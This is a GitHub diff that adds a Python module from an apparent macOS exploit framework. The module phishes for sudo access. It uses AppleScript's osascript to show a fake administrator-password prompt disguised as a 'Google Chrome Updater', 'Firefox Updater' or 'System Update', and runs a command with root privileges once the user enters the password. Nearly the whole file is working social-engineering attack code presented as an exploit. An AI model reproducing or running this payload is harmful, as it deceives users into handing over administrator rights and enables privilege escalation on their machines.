|
| 1 | +"""phishes for sudo with AppleScript""" |
| 2 | +from .general import DEFAULT_COMMAND, default_browser, osascript, random_string |
| 3 | + |
| 4 | +try: |
| 5 | + input = raw_input |
| 6 | +except NameError: |
| 7 | + pass |
| 8 | + |
| 9 | +__cve__ = "" |
| 10 | +__credits__ = "thehappydinoa" |
| 11 | + |
| 12 | +BROWSERS = { |
| 13 | + "com.google.chrome": "Google Chrome Updater", |
| 14 | + "org.mozilla.firefox": "Firefox Updater" |
| 15 | +} |
| 16 | + |
| 17 | + |
| 18 | +def admin_prompt(app=None, prompt="System Update", command="echo hello"): |
| 19 | + """prompts with administrator privileges""" |
| 20 | + rand = random_string() |
| 21 | + if app: |
| 22 | + payload = """osascript -e 'tell app "{app}" to activate' -e 'tell application "{app}" to do shell script "{command}; echo {success}" with prompt "{prompt}" with administrator privileges'""".format( |
| 23 | + app=app, prompt=prompt, command=command, success=rand) |
| 24 | + else: |
| 25 | + payload = """osascript -e 'do shell script "{command}; echo {success}" with prompt "{prompt}" with administrator privileges'""".format( |
| 26 | + prompt=prompt, command=command, success=rand) |
| 27 | + print("Prompting: " + prompt) |
| 28 | + response = osascript(payload) |
| 29 | + print(response) |
| 30 | + return rand in response |
| 31 | + |
| 32 | + |
| 33 | +def vulnerable(version): |
| 34 | + """checks vulnerability""" |
| 35 | + return "y" == input("[USER INTERACTION] Do you want to try to phish for sudo? (y/N): ")[0].lower() |
| 36 | + |
| 37 | + |
| 38 | +def run(): |
| 39 | + """runs exploit""" |
| 40 | + browser = default_browser() |
| 41 | + if browser and browser in BROWSERS.keys(): |
| 42 | + return admin_prompt(prompt=BROWSERS.get(browser), command=DEFAULT_COMMAND) |
| 43 | + return admin_prompt(command=DEFAULT_COMMAND) |
0 commit comments